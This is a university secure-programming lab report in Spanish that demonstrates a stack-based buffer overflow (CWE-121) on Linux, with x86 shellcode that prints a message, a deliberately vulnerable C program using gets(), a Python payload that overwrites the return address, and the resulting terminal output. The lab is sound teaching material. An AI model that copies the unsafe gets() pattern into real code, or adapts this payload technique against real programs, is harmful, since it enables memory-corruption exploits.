



Universidad Veracruzana

Licenciatura en Ingeniería de Software

Facultad de Estadística e Informática

CWE-121: Stack-based Buffer Overflow con Shellcode

Programación Segura (12800)

Guillermo Humberto Vera Amaro

Daniel Mongeote Tlachy

Xalapa, Ver; martes 26 de marzo del 2024

Instrucción. Elaborar una aplicación de consola en C que permita ejemplificar la vulnerabilidad de Desbordamiento de búfer basado en pila da crítica a través del ataque "Smash the stack" que permita saltarse una instrucción en equipos Linux. Esta vez, usando un shellcode.

1. Coloca la captura de pantalla de tu código fuente de ASM en Visual Studio Code.

```
ASM shellcode.asm
Click here to ask Blackbox to help you code faster
1 section .text          ; segmento TEXT
2 global _start          ; punto de entrada del ELF
3
4 _start:
5
6     jmp short dummy     ; 1. salto a un dummy con el call
7
8     imprimir_str:       ; 3. syscall write()
9         pop ecx         ; ecx => "you win!A"
10        mov al,4         ; syscall write: #4
11        xor ebx,ebx      ; ebx = 0
12        inc ebx         ; stdout filedescriptor: #1
13        xor edx,edx      ; edx = 0
14        mov dl,15        ; longitud "you win!\0": 9 ; longitud "ganaste Daniel!\0 ": 15
15        int 0x80         ; write(1, string, )
16
17        mov al,1         ; syscall exit: #1
18        dec ebx          ; ebx = 0
19        int 0x80         ; exit(0)
20
21    dummy: ;
22        call imprimir_str ; 2. llamo al código encargado de imprimir el mensaje
23        db 'ganaste Daniel!', 0x0b ; antes de saltar apila dirección de "ganaste Daniel!\v"
24        ; para retornar luego del call
```

2. Coloca la captura de pantalla de tu código fuente de C en Visual Studio Code.

```
C programa.c > main()
Click here to ask Blackbox to help you code faster
1 #include <stdio.h>
2 int main()
3 {
4     int cookie;
5     char buf[80];
6     printf("buf: %08x cookie: %08x\n", &buf, &cookie);
7     gets(buf);
8     if (cookie == 0x000d0a00)
9         printf("you lose!\n");
10 }
```

3. Coloca la captura de pantalla de tu código fuente de Python en Visual Studio Code.

```
payload.py > ...
Click here to ask Blackbox to help you code faster
1 # payload.py
2 from struct import pack
3
4 # shellcode, imprime you win!
5 # shellcode = "\xeb\x11\x59\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xea\xff\xff\xff\x79\x6
6
7 # shellcode, imprime ganaste Daniel!
8 shellcode = "\xeb\x11\x59\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x09\xcd\x80\xb0\
9 | \x01\x4b\xcd\x80\xe8\xea\xff\xff\xff\x67\x61\x6e\x61\x73\x74\x65\x20\x44\x61\x6e\x69\x65\x6c\x21\x21\x0b"
10 ret_addr = 0xbffff5b4 # Direccion de buf
11 output = "\x90" * 20 # nops iniciales buf
12 output += shellcode # shellcode
13 output += "A" * (80 - 20 - len(shellcode)) # padding hasta fin de buf
14 output += "BBBB" # lleno cookie
15 output += "CCCC" # lleno ebp
16 output += pack("<I", ret_addr) # defino return address:
17
18 print(output)
```

4. Coloca la captura de pantalla de la salida de tu programa con el payload correcto para imprimir el resultado de: ganaste nombrealumno!

```
tlacho@servidorfei:~/codigo/ps/cwe-121-shellcode$ python payload.py
XXXXXXXXXXXXXXXXXXXXXXXX Y010C1X  `0K`00000ganaste Daniel!!
AAAAAAAAAAAAAAAAAAAAAABBBBCCCC0000
tlacho@servidorfei:~/codigo/ps/cwe-121-shellcode$ python payload.py |./programa.out
buf: bffff5b4 cookie: bffff604
ganaste Dtlacho@servidorfei:~/codigo/ps/cwe-121-shellcode$
```

5. Publica tu código fuente en un proyecto público de GitHub. Coloca la URL del código fuente publicado en GitHub.

URL: <https://github.com/danieltlachy/CWE-121-Stack-based-Buffer-Overflow-con-Shellcode.git>